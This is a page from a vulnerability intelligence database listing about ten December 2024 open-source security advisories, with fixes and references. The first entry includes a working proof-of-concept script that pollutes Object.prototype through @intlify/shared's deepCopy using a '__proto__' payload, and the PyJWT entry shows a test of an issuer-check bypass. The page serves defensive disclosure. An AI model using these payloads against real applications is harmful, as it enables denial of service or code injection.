Threat and Vulnerability Intelligence Database
Example Searches:
CVE
Threat Actors
Countries
Vendors
Severity
Known Exploited
|
Description: Vulnerability type: Prototype Pollution
Affected Package:
Product: @intlify/shared
Version: 10.0.4
Vulnerability Location(s):
node_modules/@intlify/shared/dist/shared.cjs:232:26
Description:
The latest version of @intlify/shared (10.0.4) is vulnerable to Prototype Pollution through the entry function(s) lib.deepCopy. An attacker can supply a payload with Object.prototype setter to introduce or modify properties within the global prototype chain, causing denial of service (DoS) the minimum consequence.
Moreover, the consequences of this vulnerability can escalate to other injection-based attacks, depending on how the library integrates within the application. For instance, if the polluted property propagates to sensitive Node.js APIs (e.g., exec, eval), it could enable an attacker to execute arbitrary commands within the application's context.
PoC:
// install the package with the latest version
~$ npm install @intlify/[email protected]
// run the script mentioned below
~$ node poc.js
//The expected output (if the code still vulnerable) is below.
// Note that the output may slightly differs from function to another.
Before Attack: {}
After Attack: {"pollutedKey":123}
(async () => {
const lib = await import('@intlify/shared');
var someObj = {}
console.log("Before Attack: ", JSON.stringify({}.__proto__));
try {
// for multiple functions, uncomment only one for each execution.
lib.deepCopy (JSON.parse('{"__proto__":{"pollutedKey":123}}'), someObj)
} catch (e) { }
console.lo...
December 3rd, 2024 (5 months ago)
|
|
|
Description: Versions of the library from 0.2.2 to 1.0.9 are vulnerable to the arbitrary code execution due to unsafe usage of new Function(...) in the module that handles points format. Applications passing the 3rd parameter to the hull function without sanitising may be impacted. The vulnerability has been fixed in version 1.0.10, please update the library. Check project homepage on GitHub to see how to fetch the latest version: https://github.com/andriiheonia/hull?tab=readme-ov-file#npm-package
References
https://github.com/AndriiHeonia/hull/security/advisories/GHSA-q849-wxrc-vqrp
https://github.com/AndriiHeonia/hull/commit/9de6f9549b74fbb68bf4d5a449147b4c1d7cda0a
https://github.com/advisories/GHSA-q849-wxrc-vqrp
December 3rd, 2024 (5 months ago)
|
|
|
Description: Impact
A vulnerability is identified in Backstage Scaffolder template functionality where Server-Side Template Injection (SSTI) can be exploited to perform Git config injection. The vulnerability allows an attacker to capture privileged git tokens used by the Backstage Scaffolder plugin. With these tokens, unauthorized access to sensitive resources in git can be achieved. The impact is considered medium severity as the Backstage Threat Model recommends restricting access to adding and editing templates in the Backstage Catalog plugin.
Patches
The issue has been resolved in versions v0.4.12, v0.5.1 and v0.6.1 of the @backstage/plugin-scaffolder-node package. Users are encouraged to upgrade to this version to mitigate the vulnerability.
Workarounds
Users can ensure that templates do not change git config.
References
If you have any questions or comments about this advisory:
Open an issue in the Backstage repository
Visit our Discord, linked to in Backstage README
References
https://github.com/backstage/backstage/security/advisories/GHSA-qmc2-jpr5-7rg9
https://nvd.nist.gov/vuln/detail/CVE-2024-53983
https://github.com/backstage/backstage/tree/master/plugins/scaffolder-node
https://github.com/advisories/GHSA-qmc2-jpr5-7rg9
December 3rd, 2024 (5 months ago)
|
|
|
Description: Mongoose before 8.8.3 can improperly use $where in match.
References
https://nvd.nist.gov/vuln/detail/CVE-2024-53900
https://github.com/Automattic/mongoose/commit/c9e86bff7eef477da75a29af62a06d41a835a156
https://github.com/Automattic/mongoose/blob/master/CHANGELOG.md
https://github.com/advisories/GHSA-m7xq-9374-9rvx
December 3rd, 2024 (5 months ago)
|
|
|
Description: Impact
The default cache strategy uses the basename of a remote schema as the name of the file in the cache, e.g. https://example.org/schema.json will be stored as schema.json. This naming allows for conflicts. If an attacker can get a user to run check-jsonschema against a malicious schema URL, e.g., https://example.evil.org/schema.json, they can insert their own schema into the cache and it will be picked up and used instead of the appropriate schema.
Such a cache confusion attack could be used to allow data to pass validation which should have been rejected.
Patches
A patch is in progress but has not yet been released.
Workarounds
Users can use --no-cache to disable caching.
Users can use --cache-filename to select filenames for use in the cache, or to ensure that other usages do not overwrite the cached schema. (Note: this flag is being deprecated as part of the remediation effort.)
Users can explicitly download the schema before use as a local file, as in curl -LOs https://example.org/schema.json; check-jsonschema --schemafile ./schema.json
References
https://github.com/python-jsonschema/check-jsonschema/security/advisories/GHSA-q6mv-284r-mp36
https://nvd.nist.gov/vuln/detail/CVE-2024-53848
https://github.com/python-jsonschema/check-jsonschema/commit/c52714b85e6725b1b24516fbdedacb333b939152
https://github.com/advisories/GHSA-q6mv-284r-mp36
December 3rd, 2024 (5 months ago)
|
|
|
Description: Summary
The wrong string if check is run for iss checking, resulting in "acb" being accepted for "_abc_".
Details
This is a bug introduced in version 2.10.0: checking the "iss" claim
changed from isinstance(issuer, list) to isinstance(issuer, Sequence).
- if isinstance(issuer, list):
+ if isinstance(issuer, Sequence):
if payload["iss"] not in issuer:
raise InvalidIssuerError("Invalid issuer")
else:
Since str is a Sequnce, but not a list, in is also used for string
comparison. This results in if "abc" not in "__abcd__": being
checked instead of if "abc" != "__abc__":.
PoC
Check out the unit tests added here: https://github.com/jpadilla/pyjwt-ghsa-75c5-xw7c-p5pm
issuer = "urn:expected"
payload = {"iss": "urn:"}
token = jwt.encode(payload, "secret")
# decode() succeeds, even though `"urn:" != "urn:expected". No exception is raised.
with pytest.raises(InvalidIssuerError):
jwt.decode(token, "secret", issuer=issuer, algorithms=["HS256"])
Impact
I would say the real world impact is not that high, seeing as the signature still has to match. We should still fix it.
References
https://github.com/jpadilla/pyjwt/security/advisories/GHSA-75c5-xw7c-p5pm
https://nvd.nist.gov/vuln/detail/CVE-2024-53861
https://github.com/jpadilla/pyjwt/commit/1570e708672aa9036bc772476beae8bfa48f4131#diff-6893ad4a1c5a36b8af3028db8c8bc3b62418149843fc382faf901eaab008e380R366
https://github.com/jpadilla...
December 3rd, 2024 (5 months ago)
|
|
|
Description: Impact
The Python package "zhmcclient" writes password-like properties in clear text into its HMC and API logs in the following cases:
The 'boot-ftp-password' and 'ssc-master-pw' properties when creating or updating a partition in DPM mode, in the zhmcclient API and HMC logs
The 'ssc-master-pw' and 'zaware-master-pw' properties when updating an LPAR in classic mode, in the zhmcclient API and HMC logs
The 'ssc-master-pw' and 'zaware-master-pw' properties when creating or updating an image activation profile in classic mode, in the zhmcclient API and HMC logs
The 'password' property when creating or updating an HMC user, in the zhmcclient API log
The 'bind-password' property when creating or updating an LDAP server definition, in the zhmcclient API and HMC logs
This issue affects only users of the zhmcclient package that have enabled the Python loggers named "zhmcclient.api" (for the API log) or "zhmcclient.hmc" (for the HMC log) and that use the functions listed above.
Patches
Has been fixed in zhmcclient version 1.18.1
Workarounds
Not applicable, since fix is available.
References
None
References
https://github.com/zhmcclient/python-zhmcclient/security/advisories/GHSA-p57h-3cmc-xpjq
https://nvd.nist.gov/vuln/detail/CVE-2024-53865
https://github.com/zhmcclient/python-zhmcclient/commit/ad32781e782d0f604c6da4680fce48e4cc1f4433
https://github.com/advisories/GHSA-p57h-3cmc-xpjq
December 3rd, 2024 (5 months ago)
|
|
|
Description: pyspider through 0.3.10 allows /update XSS. NOTE: This vulnerability only affects products that are no longer supported by the maintainer
References
https://nvd.nist.gov/vuln/detail/CVE-2024-39162
https://docs.pyspider.org/en/latest
https://github.com/binux/pyspider
https://www.sonarsource.com/blog/basic-http-authentication-risk-uncovering-pyspider-vulnerabilities
https://github.com/advisories/GHSA-x4x5-jx9j-mmv7
December 3rd, 2024 (5 months ago)
|
|
|
Description: Summary
When parsing form data, python-multipart skips line breaks (CR \r or LF \n) in front of the first boundary and any tailing bytes after the last boundary. This happens one byte at a time and emits a log event each time, which may cause excessive logging for certain inputs.
An attacker could abuse this by sending a malicious request with lots of data before the first or after the last boundary, causing high CPU load and stalling the processing thread for a significant amount of time. In case of ASGI application, this could stall the event loop and prevent other requests from being processed, resulting in a denial of service (DoS).
Impact
Applications that use python-multipart to parse form data (or use frameworks that do so) are affected.
Original Report
This security issue was reported by:
GitHub security advisory in Starlette on October 30 by @Startr4ck
Email to python-multipart maintainer on October 3 by @mnqazi
References
https://github.com/Kludex/python-multipart/security/advisories/GHSA-59g5-xgcq-4qw3
https://nvd.nist.gov/vuln/detail/CVE-2024-53981
https://github.com/Kludex/python-multipart/commit/c4fe4d3cebc08c660e57dd709af1ffa7059b3177
https://github.com/advisories/GHSA-59g5-xgcq-4qw3
December 3rd, 2024 (5 months ago)
|
|
|
Description: Summary
When loading an (untrusted) XML document, for example the SAMLResponse, it's possible to induce an XXE.
Mitigation:
Remove the LIBXML_DTDLOAD | LIBXML_DTDATTR options from $options is in: https://github.com/simplesamlphp/saml2/blob/717c0adc4877ebd58428637e5626345e59fa0109/src/SAML2/DOMDocumentFactory.php#L41
Background / details
To be published on Dec 8.
References
https://github.com/simplesamlphp/xml-common/security/advisories/GHSA-2x65-fpch-2fcm
https://github.com/simplesamlphp/xml-common/commit/fa4ade391c3194466acf5fbfd5d2ecdbf5e831f5
https://nvd.nist.gov/vuln/detail/CVE-2024-52596
https://lists.debian.org/debian-lts-announce/2024/12/msg00001.html
https://github.com/advisories/GHSA-2x65-fpch-2fcm
December 3rd, 2024 (5 months ago)
|